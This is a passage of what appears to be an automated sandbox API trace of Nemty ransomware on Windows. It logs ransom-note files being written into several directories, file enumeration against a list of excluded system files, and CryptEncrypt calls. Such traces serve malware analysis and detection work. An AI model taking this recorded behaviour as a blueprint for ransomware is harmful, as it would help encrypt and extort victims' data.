HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x140) returned 0x4f942c8 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1df) returned 0x6340048 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0043.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2ce) returned 0x4f9f4a0 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x434) returned 0x4f9f778 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0043.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x64d) returned 0x6343fe8 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f778 | out: hHeap=0x4f90000) returned 1 [0043.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf00) returned 0x6344640 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93400 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f935a0 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0043.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bd8 | out: hHeap=0x4f90000) returned 1 [0043.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93568 | out: hHeap=0x4f90000) returned 1 [0043.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f934f0 | out: hHeap=0x4f90000) returned 1 [0043.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6342fc0 | out: hHeap=0x4f90000) returned 1 [0043.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93478 | out: hHeap=0x4f90000) returned 1 [0043.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91730 | out: hHeap=0x4f90000) returned 1 [0043.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f912f0, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0043.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8) returned 0x4f928d0 [0043.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f912f0, cbMultiByte=4, lpWideCharStr=0x4f928d0, cchWideChar=4 | out: lpWideCharStr="C:\\") returned 4 [0043.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928d0 | out: hHeap=0x4f90000) returned 1 [0043.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4072d3, lpParameter=0x18ef18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0043.167] Sleep (dwMilliseconds=0xc8) [0043.366] WaitForMultipleObjects (nCount=0x1, lpHandles=0x18eeac*=0x3b4, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x944 Thread: id = 3 os_tid = 0x948 Thread: id = 4 os_tid = 0x94c Thread: id = 5 os_tid = 0x950 Thread: id = 6 os_tid = 0x954 Thread: id = 7 os_tid = 0x960 Thread: id = 21 os_tid = 0x964 Thread: id = 23 os_tid = 0x9e8 Thread: id = 24 os_tid = 0x9f4 [0043.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6345548 [0043.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0043.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0043.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0043.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0043.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x46) returned 0x6341bd8 [0043.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.168] CreateFileW (lpFileName="C:\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8 [0043.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6341bd8 | out: hHeap=0x4f90000) returned 1 [0043.168] SetFilePointer (in: hFile=0x3b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.168] WriteFile (in: hFile=0x3b8, lpBuffer=0x6345548*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x6345548*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0043.169] CloseHandle (hObject=0x3b8) returned 1 [0043.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345548 | out: hHeap=0x4f90000) returned 1 [0043.170] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x34238f0 [0043.170] lstrcmpiW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0043.170] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0043.170] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="...") returned -1 [0043.170] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="windows") returned -1 [0043.170] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="$RECYCLE.BIN") returned 0 [0043.170] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0043.170] lstrcmpiW (lpString1="Boot", lpString2=".") returned 1 [0043.170] lstrcmpiW (lpString1="Boot", lpString2="..") returned 1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="...") returned 1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="windows") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="$RECYCLE.BIN") returned 1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="rsa") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="NTDETECT.COM") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="ntldr") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="MSDOS.SYS") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="IO.SYS") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="boot.ini") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="boot.ini") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="AUTOEXEC.BAT") returned 1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="ntuser.dat") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="desktop.ini") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="CONFIG.SYS") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="RECYCLER") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="BOOTSECT.BAK") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="bootmgr") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="programdata") returned -1 [0043.171] lstrcmpiW (lpString1="Boot", lpString2="appdata") returned 1 [0043.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boot", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0043.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boot", cchWideChar=4, lpMultiByteStr=0x653fc10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Boot", lpUsedDefaultChar=0x0) returned 4 [0043.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boot", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0043.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boot", cchWideChar=4, lpMultiByteStr=0x653fc10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Boot", lpUsedDefaultChar=0x0) returned 4 [0043.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0043.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0043.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6345548 [0043.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0043.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0043.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.172] CreateFileW (lpFileName="C:\\Boot\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0043.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.172] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.172] WriteFile (in: hFile=0x3bc, lpBuffer=0x6345548*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x6345548*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0043.173] CloseHandle (hObject=0x3bc) returned 1 [0043.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345548 | out: hHeap=0x4f90000) returned 1 [0043.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0043.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0043.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0043.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6345548 [0043.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f916e8 [0043.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.174] CreateFileW (lpFileName="C:\\Boot\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0043.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.175] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.175] WriteFile (in: hFile=0x3bc, lpBuffer=0x6345548*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6345548*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0043.176] CloseHandle (hObject=0x3bc) returned 1 [0043.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345548 | out: hHeap=0x4f90000) returned 1 [0043.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.176] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcd6e0990, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd6e0990, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34239b0 [0043.176] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0043.176] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcd6e0990, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd6e0990, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.176] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0043.176] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0043.176] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2=".") returned 1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="..") returned 1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="...") returned 1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="windows") returned -1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="$RECYCLE.BIN") returned 1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="rsa") returned -1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="NTDETECT.COM") returned -1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="ntldr") returned -1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="MSDOS.SYS") returned -1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="IO.SYS") returned -1 [0043.176] lstrcmpiW (lpString1="BCD", lpString2="boot.ini") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="boot.ini") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="AUTOEXEC.BAT") returned 1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="ntuser.dat") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="desktop.ini") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="CONFIG.SYS") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="RECYCLER") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="BOOTSECT.BAK") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="bootmgr") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="programdata") returned -1 [0043.177] lstrcmpiW (lpString1="BCD", lpString2="appdata") returned 1 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x653f8d0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD", lpUsedDefaultChar=0x0) returned 3 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x653f8d0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD", lpUsedDefaultChar=0x0) returned 3 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x653f920, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD", lpUsedDefaultChar=0x0) returned 3 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0043.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x653f958, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD", lpUsedDefaultChar=0x0) returned 3 [0043.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.177] Sleep (dwMilliseconds=0x5) [0043.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd706af0, dwHighDateTime=0x1d561e7)) [0043.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd706af0, dwHighDateTime=0x1d561e7)) [0043.179] GetLastError () returned 0xb7 [0043.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x214) returned 0x4f93400 [0043.179] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0043.179] GetCurrentThreadId () returned 0x9f4 [0043.179] SetLastError (dwErrCode=0xb7) [0043.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.179] GetLastError () returned 0xb7 [0043.179] SetLastError (dwErrCode=0xb7) [0043.179] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.180] GetLastError () returned 0xb7 [0043.180] SetLastError (dwErrCode=0xb7) [0043.181] GetLastError () returned 0xb7 [0043.181] SetLastError (dwErrCode=0xb7) [0043.181] GetLastError () returned 0xb7 [0043.181] SetLastError (dwErrCode=0xb7) [0043.181] GetLastError () returned 0xb7 [0043.181] SetLastError (dwErrCode=0xb7) [0043.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.181] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f620*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f620*=0x100) returned 1 [0043.181] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f624*, pdwDataLen=0x653f610*=0x10, dwBufLen=0x100 | out: pbData=0x653f624*, pdwDataLen=0x653f610*=0x100) returned 1 [0043.181] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f61c | out: pszString=0x0, pcchString=0x653f61c) returned 1 [0043.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.181] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f61c | out: pszString="LXWoOKhGXGUpzA+nOPJrvtN3tODGBO/dCz6kt9EHcnXSyjdGogjnXeOmWXKDqi1B\r\nBA0XVwf7yDzsTThCKEGo9CmxkNmVwDoOtDWxAFruOBjskOiRCN3yCOWIlf0M0eUt\r\nD+m7eJxF7OdjS5cygVzTJdymStfwec03rNI+Szn6iuhwkOYDg9z6wo4YT6cX1gGU\r\nmvgnaAAw9Vg9ZJC9w5mPAAIgAiZH+F9WevwSVttwuNN38LQ71gYVWUhfvFfWW/7e\r\nEn5CiW4MkaIh6mmhI5WyiGQnP1HsnllmvGzYxu62dLLnNWYiswbxAWQ8hSF7mmfs\r\n+bQqF8M/alSd9V6Q1cz8Kw==\r\n", pcchString=0x653f61c) returned 1 [0043.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.181] HeapFree (in: hHeap=0x4f90000, 